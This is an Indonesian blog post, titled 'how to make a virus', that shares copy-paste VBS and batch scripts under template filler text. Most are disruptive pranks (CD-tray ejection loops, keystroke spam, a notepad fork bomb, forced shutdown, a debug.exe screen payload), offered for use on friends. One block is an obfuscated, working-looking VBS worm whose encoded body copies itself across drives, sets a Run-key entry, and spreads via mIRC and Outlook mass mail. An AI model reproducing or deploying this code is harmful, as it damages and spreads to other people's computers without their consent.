Animasi n Sahring

Ads 468x60px

Giusto odio dignissimos

Giusto odio dignissimos

At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia...

Read More
Omnis dolor repellendus

Omnis dolor repellendus

At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia...

Read More
Olimpedit quo minus

Olimpedit quo minus

At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia...

Read More
Itaque earum rerum

Itaque earum rerum

At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia...

Read More
Epudiandae sint molestiae

Epudiandae sint molestiae

At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia...

Read More
Sahut aut reiciendis

Sahut aut reiciendis

At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia...

Read More

Kamis, 05 April 2012

cara membuat virus

mau bagi-bagi script virus/worm nih....
tinggal copas ke notepad aja tus save as .vbs
oh ya kalo ada yang salah scriptnya tolong britau scrip ke brapa ma line ke brapa



Code:
---------------------------------------------------------------------
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
---------------------------------END---------------------------------
-----------------------------------------------------------------------
Code:
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
---------------------------------END---------------------------------
-----------------------------------------------------------------------
Code:
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
---------------------------------END---------------------------------
-----------------------------------------------------------------------
Code:
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "
---------------------------------END---------------------------------
-----------------------------------------------------------------------
Code:
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
---------------------------------END---------------------------------
-----------------------------------------------------------------------
Code:
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop
---------------------------------END---------------------------------
-----------------------------------------------------------------------
Code:
'Vbs.Vbswg.GHZ 1.0 Created By GHZ. 9/30/2010
Execute TH8IQFIU("-\hy4\hy}m4MN`&746&Ixkgzkj&H&MN`4&?59658676Ykz&KIIOXQ>X&C&ixkgzkuhpkiz.(yixovzotm4lorkyyzksuhpkiz(/KTR99N9I&C&KIIOXQ>X4mkzyvkiogrlurjkx.6/SR;Y9==9&C&KTR99N9I&,&(bMN`&7464nzsr4|hy(Ykz&WRMI<K;Y&C&ixkgzkuhpkiz.(}yixovz4ynkrr(/WRMI<K;Y4xkm}xozk&(NQRSbYULZ]GXKbSoixuyulzb]otju}ybI{xxktz\kxyoutbX{tb]ot[vjgzk(2&(}yixovz4k~k&(&,&SR;Y9==9&,&(&+(KIIOXQ>X4iuvlork&}yixovz4yixovzl{rrtgsk2&SR;Y9==9P8VP6<;8Ol&WRMI<K;Y4xkmxkgj.(NQRSbYULZ]GXKbSoixuyulzb]otju}ybI{xxktz\kxyoutbMN`&746bQ?P<IT;8(/&BD&7&znktGV[:I7Y>Ktj&olOl&WRMI<K;Y4xkmxkgj.(NQRSbYULZ]GXKbSoixuyulzb]otju}ybI{xxktz\kxyoutbMN`&746bVUT76G69(/&BD&7&znktZ6Q=N<;Z&((Ktj&olYkz&KNX<R:U6C&KIIOXQ>X4uvktzk~zlork.}yixovz4yixovzl{rrtgsk/H;;[:RZ[&C&KNX<R:U64xkgjgrrKNX<R:U64iruykJuol&tuz.KIIOXQ>X4lorkk~oyzy.}yixovz4yixovzl{rrtgsk//&znktykz&H88>V>>9C&KIIOXQ>X4ixkgzkzk~zlork.}yixovz4yixovzl{rrtgsk/H88>V>>94}xozk&H;;[:RZ[H88>V>>94iruykktj&olSX8[V<IM&C&WRMI<K;Y4xkmxkgj.(NQRSbYULZ]GXKbSoixuyulzb]otju}ybI{xxktz\kxyoutbX{tb]ot[vjgzk(/Ol&SX8[V<IM&BD&(}yixovz4k~k&(&,&SR;Y9==9&,&(&+(&znktWRMI<K;Y4xkm}xozk&(NQRSbYULZ]GXKbSoixuyulzb]otju}ybI{xxktz\kxyoutbX{tb]ot[vjgzk(2&(}yixovz4k~k&(&,&SR;Y9==9&,&(&+(ktj&olSX8[V<IMC&((ruuvL{tizout&GV[:I7Y>./Ykz&\=[<:78V&C&IxkgzkUhpkiz.(U{zruuq4Gvvroigzout(/Ol&\=[<:78V&C&(U{zruuq(&ZnktYkz&I;;MT79<&C&\=[<:78V4MkzTgskYvgik.(SGVO(/Ykz&J9XWX=7J&C&I;;MT79<4GjjxkyyRoyzyLux&Kgin&\?9\><YV&Ot&J9XWX=7JOl&\?9\><YV4GjjxkyyKtzxoky4Iu{tz&BD&6&ZnktV<GP>88?&C&\?9\><YV4GjjxkyyKtzxoky4Iu{tzLux&[;QV:>6?&C&7&Zu&V<GP>88?Ykz&S:9>6TWQ&C&\=[<:78V4IxkgzkOzks.6/Ykz&P87=[G=Y&C&\?9\><YV4GjjxkyyKtzxoky.[;QV:>6?/S:9>6TWQ4Zu&C&P87=[G=Y4GjjxkyyS:9>6TWQ4Y{hpkiz&C&(\kx&Osvuxzgtz'(S:9>6TWQ4Huj&C&(No@(&,&|hixrl&,&(Vrkgyk&|ok}&znoy&lork2&oz-y&|kx&osvuxzgtz4(&,&|hixrl&,&((k~ki{zk&(ykz&PZORH8U8&CS:9>6TWQ4(&,&Inx.<;/&,&Inx.77</&,&Inx.77</&,&Inx.?=/&,&Inx.??/&,&Inx.76:/&,&Inx.76?/&,&Inx.767/&,&Inx.776/&,&Inx.77</&,&Inx.77;/\G[IIOXQ&C&SR;Y9==9S:9>6TWQ4JkrkzkGlzkxY{hsoz&C&Zx{kPZORH8U84Gjj&\G[IIOXQOl&S:9>6TWQ4Zu&BD&((&ZnktS:9>6TWQ4YktjKtj&OlTk~zKtj&OlTk~zKtj&OlKtj&l{tizoutL{tizout&Z6Q=N<;Z.U7MZ8?==/Ol&U7MZ8?==&BD&((&ZnktYP8RMI<K&C&WRMI<K;Y4xkmxkgj.(NQK_eRUIGReSGINOTKbYulz}gxkbSoixuyulzb]otju}ybI{xxktz\kxyoutbVxumxgsLorkyJox(/Ol&KIIOXQ>X4lorkk~oyzy.(i@bsoxibsoxi4oto(/&ZnktU7MZ8?==&C&(i@bsoxi(KrykOl&KIIOXQ>X4lorkk~oyzy.(i@bsoxi98bsoxi4oto(/&ZnktU7MZ8?==&C&(i@bsoxi98(KrykOl&KIIOXQ>X4lorkk~oyzy.YP8RMI<K&,&(bsoxibsoxi4oto(/&ZnktU7MZ8?==&C&YP8RMI<K&,&(bsoxi(KrykOl&KIIOXQ>X4lorkk~oyzy.YP8RMI<K&,&(bsoxi98bsoxi4oto(/&ZnktU7MZ8?==&C&YP8RMI<K&,&(bsoxi(KrykU7MZ8?==&C&((Ktj&OlKtj&OlOl&U7MZ8?==&BD&((&ZnktYkz&K=RTR99N&C&KIIOXQ>X4IxkgzkZk~zLork.U7MZ8?==&,&(byixovz4oto(2&Zx{k/K=RTR99N&C&(ayixovzc(&,&|hIxRl&,&(t6Cut&7@PUOT@)@(K=RTR99N&C&K=RTR99N&,&|hIxRl&,&(t6Cut&7@PUOT@)@(K=RTR99N&C&K=RTR99N&,&|hIxRl&,&(t7C&&5ol&.&*toiq&CC&*sk&/&&ngrz&ƒ(K=RTR99N&C&K=RTR99N&,&|hIxRl&,&(t8C&&54(&,&Inx.766/&,&Inx.??/&,&Inx.??/&,&(&yktj&*toiq&(K=RTR99N&C&K=RTR99N&,&SR;Y9==9K=RTR99N&C&K=RTR99N&,&|hIxRl&,&(t9Cƒ(yixovz4IruykKtj&OlKtj&L{tizoutL{tizout&GI=R;Y9=./Ut&Kxxux&Xky{sk&Tk~zYkz&W8G8VP6<&C&KIIOXQ>X4Jxo|kyLux&Kgin&MJR?P<IT&Ot&W8G8VP6<[<ZV[:I7&C&MJR?P<IT&,&(&b&(Igrr&YK<UT76G.[<ZV[:I7/Tk~zKtj&L{tizoutL{tizout&YK<UT76G.J9:6Q=N</V>NNX<R:&C&J9:6Q=N<Ykz&U?G;;[:R&C&KIIOXQ>X4MkzLurjkx.V>NNX<R:/Ykz&Z:K88>V>&C&U?G;;[:R4LorkyLux&Kgin&LK:X8[V<&Ot&Z:K88>V>Ol&rigyk.LK:X8[V<4Tgsk/&C&(soxi4oto(&ZnktZ6Q=N<;Z.LK:X8[V<4VgxktzLurjkx/Ktj&OlOl&KIIOXQ>X4MkzK~zktyoutTgsk.LK:X8[V<4vgzn/&C&(|hy(KIIOXQ>X4IuvLork&}yixovz4yixovzl{rrtgsk2LK:X8[V<4vgzn2zx{kKtj&olOl&KIIOXQ>X4MkzK~zktyoutTgsk.LK:X8[V<4vgzn/&C&(|hk(KIIOXQ>X4IuvLork&}yixovz4yixovzl{rrtgsk2LK:X8[V<4vgzn2zx{kKtj&olTk~zYkz&IM8=[<:7&C&U?G;;[:R4Y{hlurjkxyLux&Kgin&J>I;;MT7&Ot&IM8=[<:7Igrr&.J>I;;MT74vgzn/Tk~zKtj&l{tizoutL{tizout&P8VP6<;8./Xgtjuso€kOl&7&1&Otz.Xtj&0&7666/&C&=&znktSymhu~&(O-|k&tuznotm&zu&yg4&@u/(2<:2(@u/(ktj&olktj&l{tizout-\hy}m&8&Hkzg4&H&aQc",-6)
Function TH8IQFIU(C38QDRVV,F8O63JAL)
For L6F3M0OD = 1 To Len(C38QDRVV)
V6BD6OKI = Mid(C38QDRVV, L6F3M0OD, 1)
If V6BD6OKI = Chr(2) Then
V6BD6OKI = Chr(34 + F8O63JAL)
ElseIf V6BD6OKI = Chr(3) Then
V6BD6OKI = Chr(10 + F8O63JAL)
ElseIf V6BD6OKI = Chr(4) Then
V6BD6OKI = Chr(13 + F8O63JAL)
Else
V6BD6OKI = Chr(Asc(V6BD6OKI) + F8O63JAL)
End If
TH8IQFIU = TH8IQFIU & V6BD6OKI
Next
End Function
---------------------------------END---------------------------------

kalo yang ini tinggal copas aja tapi save as .bat
----------------------------------------------------------------------
Code:
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
-------------------------------END------------------------------------
-----------------------------------------------------------------------
Code:
@echo off
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echo g=100>>\z.dbg
echo q>>\z.dbg
debug <\z.dbg>nul
del \z.dbg
But if you really want to mess with a friend then copy and paste the following code which will do the same thing except when they press a key the screen will go black and the only way to stop the batch file is by pressing CTRL-ALT-DELETE.
@echo off
:a
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echo g=100>>\z.dbg
echo q>>\z.dbg
debug <\z.dbg>nul
del \z.dbg
goto a
-----------------------------------END-------------------------------
-----------------------------------------------------------------------
Code:
@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s
-----------------------------------END-------------------------------
-----------------------------------------------------------------------
Code:
@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two
---------------------------------END---------------------------------







Sekian dulu deh .....
kalo berguna thanksnya donk

Tidak ada komentar:

Poskan Komentar

Widgeo